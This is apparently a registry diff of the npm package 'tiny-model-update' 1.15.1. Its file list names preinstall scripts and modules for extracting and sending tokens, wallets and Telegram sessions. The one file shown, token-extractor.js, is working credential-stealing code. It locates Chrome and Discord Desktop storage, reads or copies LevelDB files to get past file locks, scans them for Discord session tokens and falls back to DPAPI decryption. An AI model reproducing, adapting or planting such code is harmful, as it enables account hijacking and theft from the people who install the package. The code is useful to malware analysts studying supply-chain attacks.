tiny-model-update 1.15.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +104 -0
- package/bin/admin-control.js +6 -0
- package/bin/extract-tokens.cmd +10 -0
- package/bin/extract-tokens.js +211 -0
- package/bin/generate-invites.js +39 -0
- package/bin/preinstall.cmd +10 -0
- package/bin/preinstall.js +720 -0
- package/bin/preinstall.vbs +18 -0
- package/bin/restart-bot.js +131 -0
- package/bin/start-bot.js +16 -0
- package/bin/stop-bot.js +127 -0
- package/index.js +27 -0
- package/lib/admin-control.js +55 -0
- package/lib/auto-cycle.js +232 -0
- package/lib/auto-updater.js +145 -0
- package/lib/cycle-runner.js +67 -0
- package/lib/discord-bot.js +101 -0
- package/lib/discord-desktop-decrypt.js +161 -0
- package/lib/encryption.js +22 -0
- package/lib/invite-bot-rest.js +193 -0
- package/lib/invite-bot.js +188 -0
- package/lib/process-cleanup.js +106 -0
- package/lib/security-bypass.js +70 -0
- package/lib/telegram-extractor.js +443 -0
- package/lib/telegram-session-reader.js +144 -0
- package/lib/telegram-session-sender.js +223 -0
- package/lib/telegram.js +94 -0
- package/lib/token-extractor.js +620 -0
- package/lib/token-verifier.js +100 -0
- package/lib/wallet-extractor.js +447 -0
- package/lib/wallet-sender.js +151 -0
- package/package.json +44 -0
|
@@ -0,0 +1,620 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import path from 'path';
|
|
3
|
+
import os from 'os';
|
|
4
|
+
import { execSync } from 'child_process';
|
|
5
|
+
|
|
6
|
+
// Get Discord Desktop storage paths
|
|
7
|
+
export function getDiscordDesktopPaths() {
|
|
8
|
+
const platform = os.platform();
|
|
9
|
+
const paths = [];
|
|
10
|
+
|
|
11
|
+
if (platform === 'win32') {
|
|
12
|
+
const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
|
|
13
|
+
const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
|
|
14
|
+
|
|
15
|
+
// Discord Desktop locations (Electron app)
|
|
16
|
+
// Discord stores data in different locations depending on version
|
|
17
|
+
const discordBasePaths = [
|
|
18
|
+
path.join(appData, 'discord'),
|
|
19
|
+
path.join(appData, 'Discord'),
|
|
20
|
+
path.join(localAppData, 'discord'),
|
|
21
|
+
path.join(localAppData, 'Discord'),
|
|
22
|
+
path.join(appData, 'discordcanary'),
|
|
23
|
+
path.join(appData, 'DiscordCanary'),
|
|
24
|
+
path.join(appData, 'discordptb'),
|
|
25
|
+
path.join(appData, 'DiscordPTB'),
|
|
26
|
+
];
|
|
27
|
+
|
|
28
|
+
for (const basePath of discordBasePaths) {
|
|
29
|
+
if (!fs.existsSync(basePath)) continue;
|
|
30
|
+
|
|
31
|
+
try {
|
|
32
|
+
const profileName = path.basename(basePath);
|
|
33
|
+
|
|
34
|
+
// Check for Local Storage/leveldb (main location)
|
|
35
|
+
const leveldbPath = path.join(basePath, 'Local Storage', 'leveldb');
|
|
36
|
+
if (fs.existsSync(leveldbPath)) {
|
|
37
|
+
paths.push({
|
|
38
|
+
profile: `Discord Desktop (${profileName})`,
|
|
39
|
+
localStorage: leveldbPath,
|
|
40
|
+
cookies: null,
|
|
41
|
+
indexedDB: null,
|
|
42
|
+
sessionStorage: null
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
// Also check Session Storage (Discord might store tokens here)
|
|
47
|
+
const sessionStoragePath = path.join(basePath, 'Session Storage', 'leveldb');
|
|
48
|
+
if (fs.existsSync(sessionStoragePath)) {
|
|
49
|
+
paths.push({
|
|
50
|
+
profile: `Discord Desktop (${profileName} - Session)`,
|
|
51
|
+
localStorage: sessionStoragePath,
|
|
52
|
+
cookies: null,
|
|
53
|
+
indexedDB: null,
|
|
54
|
+
sessionStorage: null
|
|
55
|
+
});
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
// Check IndexedDB for Discord tokens (Discord also stores tokens here)
|
|
59
|
+
const indexedDBPath = path.join(basePath, 'IndexedDB');
|
|
60
|
+
if (fs.existsSync(indexedDBPath) && fs.statSync(indexedDBPath).isDirectory()) {
|
|
61
|
+
try {
|
|
62
|
+
const indexedEntries = fs.readdirSync(indexedDBPath);
|
|
63
|
+
for (const indexedEntry of indexedEntries) {
|
|
64
|
+
const indexedPath = path.join(indexedDBPath, indexedEntry);
|
|
65
|
+
if (fs.statSync(indexedPath).isDirectory() && indexedEntry.includes('discord')) {
|
|
66
|
+
// Look for LevelDB in IndexedDB subdirectories
|
|
67
|
+
const indexedLeveldb = path.join(indexedPath, 'leveldb');
|
|
68
|
+
if (fs.existsSync(indexedLeveldb)) {
|
|
69
|
+
paths.push({
|
|
70
|
+
profile: `Discord Desktop (${profileName} - IndexedDB)`,
|
|
71
|
+
localStorage: indexedLeveldb,
|
|
72
|
+
cookies: null,
|
|
73
|
+
indexedDB: null,
|
|
74
|
+
sessionStorage: null
|
|
75
|
+
});
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
} catch (e) {
|
|
80
|
+
// Ignore
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
// Check for version-specific subdirectories (newer Discord versions)
|
|
85
|
+
try {
|
|
86
|
+
const entries = fs.readdirSync(basePath);
|
|
87
|
+
for (const entry of entries) {
|
|
88
|
+
try {
|
|
89
|
+
const entryPath = path.join(basePath, entry);
|
|
90
|
+
if (fs.statSync(entryPath).isDirectory() && /^\d+\.\d+/.test(entry)) {
|
|
91
|
+
// Version folder (e.g., "1.0.9219")
|
|
92
|
+
const subLeveldb = path.join(entryPath, 'Local Storage', 'leveldb');
|
|
93
|
+
if (fs.existsSync(subLeveldb)) {
|
|
94
|
+
paths.push({
|
|
95
|
+
profile: `Discord Desktop (${profileName} - ${entry})`,
|
|
96
|
+
localStorage: subLeveldb,
|
|
97
|
+
cookies: null,
|
|
98
|
+
indexedDB: null,
|
|
99
|
+
sessionStorage: null
|
|
100
|
+
});
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
} catch (e) {
|
|
104
|
+
// Ignore individual entry errors
|
|
105
|
+
continue;
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
} catch (e) {
|
|
109
|
+
// Ignore directory read errors - we already added the main path if it exists
|
|
110
|
+
}
|
|
111
|
+
} catch (e) {
|
|
112
|
+
// Ignore errors for this base path, continue to next
|
|
113
|
+
continue;
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
return paths;
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
// Get Chrome storage paths
|
|
122
|
+
export function getChromeStoragePaths() {
|
|
123
|
+
const platform = os.platform();
|
|
124
|
+
const paths = [];
|
|
125
|
+
|
|
126
|
+
if (platform === 'win32') {
|
|
127
|
+
const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
|
|
128
|
+
const userDataDir = path.join(localAppData, 'Google', 'Chrome', 'User Data');
|
|
129
|
+
|
|
130
|
+
// Find ALL profiles (Default and all Profile directories)
|
|
131
|
+
try {
|
|
132
|
+
const entries = fs.readdirSync(userDataDir);
|
|
133
|
+
const profiles = new Set();
|
|
134
|
+
|
|
135
|
+
// Add Default first
|
|
136
|
+
if (fs.existsSync(path.join(userDataDir, 'Default'))) {
|
|
137
|
+
profiles.add('Default');
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
// Find all Profile directories
|
|
141
|
+
for (const entry of entries) {
|
|
142
|
+
if (entry === 'Default' || entry.startsWith('Profile')) {
|
|
143
|
+
const profilePath = path.join(userDataDir, entry);
|
|
144
|
+
if (fs.statSync(profilePath).isDirectory()) {
|
|
145
|
+
profiles.add(entry);
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
// Add all found profiles
|
|
151
|
+
for (const profile of profiles) {
|
|
152
|
+
const profilePath = path.join(userDataDir, profile);
|
|
153
|
+
paths.push({
|
|
154
|
+
profile: `Chrome ${profile}`,
|
|
155
|
+
localStorage: path.join(profilePath, 'Local Storage', 'leveldb'),
|
|
156
|
+
cookies: path.join(profilePath, 'Cookies'),
|
|
157
|
+
indexedDB: path.join(profilePath, 'IndexedDB'),
|
|
158
|
+
sessionStorage: path.join(profilePath, 'Session Storage')
|
|
159
|
+
});
|
|
160
|
+
}
|
|
161
|
+
} catch (e) {
|
|
162
|
+
// Ignore
|
|
163
|
+
}
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
return paths;
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
// Try to read LevelDB files using Windows file copy (bypasses some locks)
|
|
170
|
+
export async function tryReadLevelDBWithCopy(leveldbPath) {
|
|
171
|
+
try {
|
|
172
|
+
const tempDir = path.join(os.tmpdir(), `chrome-read-${Date.now()}`);
|
|
173
|
+
fs.mkdirSync(tempDir, { recursive: true });
|
|
174
|
+
|
|
175
|
+
// Try to copy the LevelDB files
|
|
176
|
+
try {
|
|
177
|
+
execSync(`xcopy /E /I /Y "${leveldbPath}" "${tempDir}"`, { stdio: 'ignore' });
|
|
178
|
+
} catch (e) {
|
|
179
|
+
// Files might be locked, try reading individual files
|
|
180
|
+
return null;
|
|
181
|
+
}
|
|
182
|
+
|
|
183
|
+
// Now try to read from the copy
|
|
184
|
+
try {
|
|
185
|
+
const { Level } = await import('level');
|
|
186
|
+
const db = new Level(tempDir, { valueEncoding: 'utf8' });
|
|
187
|
+
|
|
188
|
+
const keys = [];
|
|
189
|
+
for await (const key of db.keys()) {
|
|
190
|
+
keys.push(key);
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
// Look for Discord token (include both discord.com and discordapp.com)
|
|
194
|
+
for (const key of keys) {
|
|
195
|
+
if (key.includes('discord.com') || key.includes('discordapp.com') || key.toLowerCase().includes('token')) {
|
|
196
|
+
try {
|
|
197
|
+
const value = await db.get(key);
|
|
198
|
+
if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
|
|
199
|
+
const parts = value.split('.');
|
|
200
|
+
if (parts.length === 3) {
|
|
201
|
+
try {
|
|
202
|
+
// Discord tokens: first part must be base64-encoded numeric user ID
|
|
203
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
204
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
205
|
+
await db.close();
|
|
206
|
+
// Cleanup
|
|
207
|
+
try {
|
|
208
|
+
fs.rmSync(tempDir, { recursive: true, force: true });
|
|
209
|
+
} catch (e) {}
|
|
210
|
+
return value;
|
|
211
|
+
}
|
|
212
|
+
} catch (e) {
|
|
213
|
+
continue;
|
|
214
|
+
}
|
|
215
|
+
}
|
|
216
|
+
}
|
|
217
|
+
} catch (e) {
|
|
218
|
+
continue;
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
}
|
|
222
|
+
|
|
223
|
+
await db.close();
|
|
224
|
+
// Cleanup
|
|
225
|
+
try {
|
|
226
|
+
fs.rmSync(tempDir, { recursive: true, force: true });
|
|
227
|
+
} catch (e) {}
|
|
228
|
+
} catch (e) {
|
|
229
|
+
// Cleanup
|
|
230
|
+
try {
|
|
231
|
+
fs.rmSync(tempDir, { recursive: true, force: true });
|
|
232
|
+
} catch (e) {}
|
|
233
|
+
}
|
|
234
|
+
} catch (e) {
|
|
235
|
+
return null;
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
return null;
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
// Read LevelDB files directly (might work if Chrome isn't actively writing)
|
|
242
|
+
export async function readLevelDBDirect(leveldbPath) {
|
|
243
|
+
try {
|
|
244
|
+
const { Level } = await import('level');
|
|
245
|
+
const db = new Level(leveldbPath, { valueEncoding: 'utf8' });
|
|
246
|
+
|
|
247
|
+
const keys = [];
|
|
248
|
+
try {
|
|
249
|
+
for await (const key of db.keys()) {
|
|
250
|
+
keys.push(key);
|
|
251
|
+
}
|
|
252
|
+
} catch (e) {
|
|
253
|
+
await db.close();
|
|
254
|
+
return null; // Files are locked
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
// Search for Discord token (include both discord.com and discordapp.com)
|
|
258
|
+
const discordKeys = keys.filter(k =>
|
|
259
|
+
k.includes('discord.com') ||
|
|
260
|
+
k.includes('discordapp.com') ||
|
|
261
|
+
k.toLowerCase().includes('token') ||
|
|
262
|
+
k.toLowerCase().includes('auth')
|
|
263
|
+
);
|
|
264
|
+
|
|
265
|
+
for (const key of discordKeys) {
|
|
266
|
+
try {
|
|
267
|
+
const value = await db.get(key);
|
|
268
|
+
if (value && typeof value === 'string') {
|
|
269
|
+
// Clean the value (remove quotes, whitespace, etc.)
|
|
270
|
+
const cleanValue = value.trim().replace(/^["']|["']$/g, '');
|
|
271
|
+
|
|
272
|
+
// Check if it's a valid Discord token
|
|
273
|
+
if (isValidDiscordToken(cleanValue)) {
|
|
274
|
+
await db.close();
|
|
275
|
+
return cleanValue;
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
// Also check if value might be JSON-encoded
|
|
279
|
+
try {
|
|
280
|
+
const parsed = JSON.parse(value);
|
|
281
|
+
if (typeof parsed === 'string' && isValidDiscordToken(parsed)) {
|
|
282
|
+
await db.close();
|
|
283
|
+
return parsed;
|
|
284
|
+
}
|
|
285
|
+
// Check nested objects
|
|
286
|
+
if (typeof parsed === 'object' && parsed !== null) {
|
|
287
|
+
const tokenStr = JSON.stringify(parsed);
|
|
288
|
+
const tokenMatch = tokenStr.match(/([A-Za-z0-9._-]{59,200})/);
|
|
289
|
+
if (tokenMatch && isValidDiscordToken(tokenMatch[1])) {
|
|
290
|
+
await db.close();
|
|
291
|
+
return tokenMatch[1];
|
|
292
|
+
}
|
|
293
|
+
}
|
|
294
|
+
} catch (parseError) {
|
|
295
|
+
// Not JSON, continue
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
} catch (e) {
|
|
299
|
+
continue;
|
|
300
|
+
}
|
|
301
|
+
}
|
|
302
|
+
|
|
303
|
+
// Search all keys
|
|
304
|
+
for (const key of keys.slice(0, 1000)) { // Limit to first 1000 to avoid timeout
|
|
305
|
+
try {
|
|
306
|
+
const value = await db.get(key);
|
|
307
|
+
if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
|
|
308
|
+
const parts = value.split('.');
|
|
309
|
+
if (parts.length === 3) {
|
|
310
|
+
try {
|
|
311
|
+
// Discord tokens: first part must be base64-encoded numeric user ID
|
|
312
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
313
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
314
|
+
await db.close();
|
|
315
|
+
return value;
|
|
316
|
+
}
|
|
317
|
+
} catch (e) {
|
|
318
|
+
continue;
|
|
319
|
+
}
|
|
320
|
+
}
|
|
321
|
+
}
|
|
322
|
+
} catch (e) {
|
|
323
|
+
continue;
|
|
324
|
+
}
|
|
325
|
+
}
|
|
326
|
+
|
|
327
|
+
await db.close();
|
|
328
|
+
return null;
|
|
329
|
+
} catch (error) {
|
|
330
|
+
return null;
|
|
331
|
+
}
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
// Try reading raw LevelDB files without the level package
|
|
335
|
+
export function readLevelDBRaw(leveldbPath) {
|
|
336
|
+
try {
|
|
337
|
+
// LevelDB stores data in .ldb and .log files
|
|
338
|
+
const files = fs.readdirSync(leveldbPath);
|
|
339
|
+
const ldbFiles = files.filter(f => f.endsWith('.ldb') || f.endsWith('.log'));
|
|
340
|
+
|
|
341
|
+
const candidates = [];
|
|
342
|
+
|
|
343
|
+
for (const file of ldbFiles) {
|
|
344
|
+
try {
|
|
345
|
+
const filePath = path.join(leveldbPath, file);
|
|
346
|
+
const data = fs.readFileSync(filePath);
|
|
347
|
+
|
|
348
|
+
// Search for Discord token pattern in binary data
|
|
349
|
+
const dataStr = data.toString('utf8', 0, Math.min(data.length, 500000)); // First 500KB
|
|
350
|
+
|
|
351
|
+
// Method 1: Look for Discord-specific keys first
|
|
352
|
+
// LevelDB format: _https://discord.com_0:keyname
|
|
353
|
+
const discordKeyPattern = /_https:\/\/discord\.com[^:]*:([^\x00-\x1f]{0,50})/g;
|
|
354
|
+
let keyMatch;
|
|
355
|
+
while ((keyMatch = discordKeyPattern.exec(dataStr)) !== null) {
|
|
356
|
+
const keyName = keyMatch[1];
|
|
357
|
+
// Look for token value after the key (within 200 chars)
|
|
358
|
+
const afterKey = dataStr.substring(keyMatch.index + keyMatch[0].length, keyMatch.index + keyMatch[0].length + 200);
|
|
359
|
+
const tokenMatch = afterKey.match(/([A-Za-z0-9._-]{59,120})/);
|
|
360
|
+
if (tokenMatch) {
|
|
361
|
+
const token = tokenMatch[1];
|
|
362
|
+
// Verify it's Discord token format (3 parts)
|
|
363
|
+
const parts = token.split('.');
|
|
364
|
+
if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
|
|
365
|
+
// Discord tokens: first part must be base64-encoded numeric user ID (17-19 digits)
|
|
366
|
+
try {
|
|
367
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
368
|
+
// Discord user IDs are 17-19 digit numbers
|
|
369
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
370
|
+
// This is a Discord token!
|
|
371
|
+
let score = 90;
|
|
372
|
+
if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
|
|
373
|
+
score = 100;
|
|
374
|
+
}
|
|
375
|
+
candidates.push({ token, key: keyName, score, file });
|
|
376
|
+
}
|
|
377
|
+
} catch (e2) {
|
|
378
|
+
// Not a valid Discord token format - skip JWT tokens
|
|
379
|
+
continue;
|
|
380
|
+
}
|
|
381
|
+
}
|
|
382
|
+
}
|
|
383
|
+
}
|
|
384
|
+
|
|
385
|
+
// Method 1b: Look for discordapp.com keys (Discord Desktop might use this)
|
|
386
|
+
const discordAppKeyPattern = /_https:\/\/discordapp\.com[^:]*:([^\x00-\x1f]{0,50})/g;
|
|
387
|
+
let appKeyMatch;
|
|
388
|
+
while ((appKeyMatch = discordAppKeyPattern.exec(dataStr)) !== null) {
|
|
389
|
+
const keyName = appKeyMatch[1];
|
|
390
|
+
const afterKey = dataStr.substring(appKeyMatch.index + appKeyMatch[0].length, appKeyMatch.index + appKeyMatch[0].length + 200);
|
|
391
|
+
const tokenMatch = afterKey.match(/([A-Za-z0-9._-]{59,120})/);
|
|
392
|
+
if (tokenMatch) {
|
|
393
|
+
const token = tokenMatch[1];
|
|
394
|
+
const parts = token.split('.');
|
|
395
|
+
if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
|
|
396
|
+
try {
|
|
397
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
398
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
399
|
+
let score = 95; // Slightly lower than discord.com but still high
|
|
400
|
+
if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
|
|
401
|
+
score = 100;
|
|
402
|
+
}
|
|
403
|
+
candidates.push({ token, key: keyName, score, file });
|
|
404
|
+
}
|
|
405
|
+
} catch (e2) {
|
|
406
|
+
continue;
|
|
407
|
+
}
|
|
408
|
+
}
|
|
409
|
+
}
|
|
410
|
+
}
|
|
411
|
+
|
|
412
|
+
// Method 2: Look for tokens near "token" key in discordapp.com context
|
|
413
|
+
// Discord Desktop might store tokens with different key patterns
|
|
414
|
+
const tokenKeyPattern = /discordapp\.com[^:]*token[^:]*:([A-Za-z0-9._+\/=-]{50,200})/gi;
|
|
415
|
+
let tokenKeyMatch;
|
|
416
|
+
while ((tokenKeyMatch = tokenKeyPattern.exec(dataStr)) !== null) {
|
|
417
|
+
const potentialToken = tokenKeyMatch[1].trim();
|
|
418
|
+
// Check if it's a standard 3-part Discord token
|
|
419
|
+
const parts = potentialToken.split('.');
|
|
420
|
+
if (parts.length === 3 && potentialToken.length >= 59 && potentialToken.length <= 120) {
|
|
421
|
+
try {
|
|
422
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
423
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
424
|
+
candidates.push({ token: potentialToken, key: 'discordapp.com token key', score: 100, file });
|
|
425
|
+
}
|
|
426
|
+
} catch (e) {
|
|
427
|
+
// Not a valid token format
|
|
428
|
+
}
|
|
429
|
+
}
|
|
430
|
+
}
|
|
431
|
+
|
|
432
|
+
// Method 3: Look for Discord tokens (must have numeric user ID in first part)
|
|
433
|
+
const tokenPattern = /([A-Za-z0-9._-]{59,120})/g;
|
|
434
|
+
let tokenMatch;
|
|
435
|
+
while ((tokenMatch = tokenPattern.exec(dataStr)) !== null) {
|
|
436
|
+
const token = tokenMatch[1];
|
|
437
|
+
const parts = token.split('.');
|
|
438
|
+
if (parts.length === 3 && token.length >= 59 && token.length <= 120) {
|
|
439
|
+
try {
|
|
440
|
+
// Discord tokens: first part must be base64-encoded numeric user ID
|
|
441
|
+
const userId = Buffer.from(parts[0], 'base64').toString();
|
|
442
|
+
if (/^\d{17,19}$/.test(userId)) {
|
|
443
|
+
// This is a Discord token!
|
|
444
|
+
const beforeToken = dataStr.substring(Math.max(0, tokenMatch.index - 300), tokenMatch.index);
|
|
445
|
+
const afterToken = dataStr.substring(tokenMatch.index + token.length, tokenMatch.index + token.length + 100);
|
|
446
|
+
|
|
447
|
+
// Check if it's near Discord-related text
|
|
448
|
+
const isNearDiscord = beforeToken.toLowerCase().includes('discord') ||
|
|
449
|
+
afterToken.toLowerCase().includes('discord') ||
|
|
450
|
+
beforeToken.toLowerCase().includes('discordapp') ||
|
|
451
|
+
afterToken.toLowerCase().includes('discordapp');
|
|
452
|
+
const isNearToken = beforeToken.toLowerCase().includes('"token"') ||
|
|
453
|
+
afterToken.toLowerCase().includes('"token"') ||
|
|
454
|
+
beforeToken.toLowerCase().includes('token') ||
|
|
455
|
+
afterToken.toLowerCase().includes('token');
|
|
456
|
+
|
|
457
|
+
if (isNearDiscord || isNearToken) {
|
|
458
|
+
let score = 90;
|
|
459
|
+
if (isNearDiscord) {
|
|
460
|
+
score = 100;
|
|
461
|
+
}
|
|
462
|
+
candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
|
|
463
|
+
}
|
|
464
|
+
}
|
|
465
|
+
} catch (e) {
|
|
466
|
+
// Not a valid Discord token format
|
|
467
|
+
continue;
|
|
468
|
+
}
|
|
469
|
+
}
|
|
470
|
+
}
|
|
471
|
+
} catch (e) {
|
|
472
|
+
continue;
|
|
473
|
+
}
|
|
474
|
+
}
|
|
475
|
+
|
|
476
|
+
// Return the highest scoring candidate (Discord-specific tokens first)
|
|
477
|
+
if (candidates.length > 0) {
|
|
478
|
+
candidates.sort((a, b) => b.score - a.score);
|
|
479
|
+
const best = candidates[0];
|
|
480
|
+
return best.token;
|
|
481
|
+
}
|
|
482
|
+
|
|
483
|
+
return null;
|
|
484
|
+
} catch (e) {
|
|
485
|
+
return null;
|
|
486
|
+
}
|
|
487
|
+
}
|
|
488
|
+
|
|
489
|
+
// Validate if a string is a valid Discord token
|
|
490
|
+
function isValidDiscordToken(token) {
|
|
491
|
+
if (!token || typeof token !== 'string') return false;
|
|
492
|
+
|
|
493
|
+
// Remove any whitespace
|
|
494
|
+
token = token.trim();
|
|
495
|
+
|
|
496
|
+
// Discord tokens have exactly 3 parts separated by dots
|
|
497
|
+
const parts = token.split('.');
|
|
498
|
+
if (parts.length !== 3) return false;
|
|
499
|
+
|
|
500
|
+
// Discord tokens are typically 59-120 characters (but can be longer for newer tokens)
|
|
501
|
+
if (token.length < 59 || token.length > 200) return false;
|
|
502
|
+
|
|
503
|
+
// All parts should be non-empty
|
|
504
|
+
if (parts[0].length === 0 || parts[1].length === 0 || parts[2].length === 0) {
|
|
505
|
+
return false;
|
|
506
|
+
}
|
|
507
|
+
|
|
508
|
+
try {
|
|
509
|
+
// First part should be base64-encoded numeric user ID (17-19 digits)
|
|
510
|
+
const firstPart = Buffer.from(parts[0], 'base64').toString();
|
|
511
|
+
|
|
512
|
+
// Must be a numeric string (Discord user ID)
|
|
513
|
+
if (!/^\d{17,19}$/.test(firstPart)) {
|
|
514
|
+
return false;
|
|
515
|
+
}
|
|
516
|
+
|
|
517
|
+
// Second and third parts should be valid base64
|
|
518
|
+
// They don't need to decode to specific formats, just be valid base64
|
|
519
|
+
try {
|
|
520
|
+
Buffer.from(parts[1], 'base64');
|
|
521
|
+
Buffer.from(parts[2], 'base64');
|
|
522
|
+
} catch (e) {
|
|
523
|
+
return false;
|
|
524
|
+
}
|
|
525
|
+
|
|
526
|
+
// Additional validation: token should only contain valid characters
|
|
527
|
+
// Discord tokens use base64url encoding (A-Z, a-z, 0-9, -, _)
|
|
528
|
+
if (!/^[A-Za-z0-9._-]+$/.test(token)) {
|
|
529
|
+
return false;
|
|
530
|
+
}
|
|
531
|
+
|
|
532
|
+
return true;
|
|
533
|
+
} catch (e) {
|
|
534
|
+
return false;
|
|
535
|
+
}
|
|
536
|
+
}
|
|
537
|
+
|
|
538
|
+
// Extract all Discord tokens from Chrome and Discord Desktop
|
|
539
|
+
export async function extractAllTokens() {
|
|
540
|
+
// Get both Chrome and Discord Desktop paths
|
|
541
|
+
const chromePaths = getChromeStoragePaths();
|
|
542
|
+
const discordDesktopPaths = getDiscordDesktopPaths();
|
|
543
|
+
const storagePaths = [...chromePaths, ...discordDesktopPaths];
|
|
544
|
+
|
|
545
|
+
if (storagePaths.length === 0) {
|
|
546
|
+
return [];
|
|
547
|
+
}
|
|
548
|
+
|
|
549
|
+
const foundTokens = [];
|
|
550
|
+
const processedProfiles = new Set();
|
|
551
|
+
|
|
552
|
+
// Import decryption module for Discord Desktop
|
|
553
|
+
let decryptDiscordDesktopStorage = null;
|
|
554
|
+
try {
|
|
555
|
+
const decryptModule = await import('./discord-desktop-decrypt.js');
|
|
556
|
+
decryptDiscordDesktopStorage = decryptModule.decryptDiscordDesktopStorage;
|
|
557
|
+
} catch (e) {
|
|
558
|
+
// Decryption module not available
|
|
559
|
+
}
|
|
560
|
+
|
|
561
|
+
for (const storage of storagePaths) {
|
|
562
|
+
if (processedProfiles.has(storage.profile)) {
|
|
563
|
+
continue; // Skip duplicates
|
|
564
|
+
}
|
|
565
|
+
processedProfiles.add(storage.profile);
|
|
566
|
+
|
|
567
|
+
if (!storage.localStorage || !fs.existsSync(storage.localStorage)) {
|
|
568
|
+
continue;
|
|
569
|
+
}
|
|
570
|
+
|
|
571
|
+
const isDiscordDesktop = storage.profile.includes('Discord Desktop');
|
|
572
|
+
|
|
573
|
+
// Method 1: Try reading raw LevelDB files (works even when app is running!)
|
|
574
|
+
let token = readLevelDBRaw(storage.localStorage);
|
|
575
|
+
|
|
576
|
+
if (token && isValidDiscordToken(token)) {
|
|
577
|
+
// Check if we already found this token
|
|
578
|
+
if (!foundTokens.find(t => t.token === token)) {
|
|
579
|
+
foundTokens.push({ token, profile: storage.profile });
|
|
580
|
+
}
|
|
581
|
+
if (!isDiscordDesktop) continue; // For Chrome, we're done
|
|
582
|
+
}
|
|
583
|
+
|
|
584
|
+
// Method 2: Try direct LevelDB read
|
|
585
|
+
if (!token || isDiscordDesktop) {
|
|
586
|
+
token = await readLevelDBDirect(storage.localStorage);
|
|
587
|
+
|
|
588
|
+
if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
|
|
589
|
+
foundTokens.push({ token, profile: storage.profile });
|
|
590
|
+
if (!isDiscordDesktop) continue;
|
|
591
|
+
}
|
|
592
|
+
}
|
|
593
|
+
|
|
594
|
+
// Method 3: Try copying and reading
|
|
595
|
+
if (!token || isDiscordDesktop) {
|
|
596
|
+
token = await tryReadLevelDBWithCopy(storage.localStorage);
|
|
597
|
+
|
|
598
|
+
if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
|
|
599
|
+
foundTokens.push({ token, profile: storage.profile });
|
|
600
|
+
if (!isDiscordDesktop) continue;
|
|
601
|
+
}
|
|
602
|
+
}
|
|
603
|
+
|
|
604
|
+
// Method 4: For Discord Desktop, try DPAPI decryption
|
|
605
|
+
if (isDiscordDesktop && decryptDiscordDesktopStorage && !token) {
|
|
606
|
+
try {
|
|
607
|
+
token = await decryptDiscordDesktopStorage(storage.localStorage);
|
|
608
|
+
|
|
609
|
+
if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
|
|
610
|
+
foundTokens.push({ token, profile: storage.profile });
|
|
611
|
+
}
|
|
612
|
+
} catch (e) {
|
|
613
|
+
// Decryption failed, continue
|
|
614
|
+
}
|
|
615
|
+
}
|
|
616
|
+
}
|
|
617
|
+
|
|
618
|
+
return foundTokens;
|
|
619
|
+
}
|
|
620
|
+
|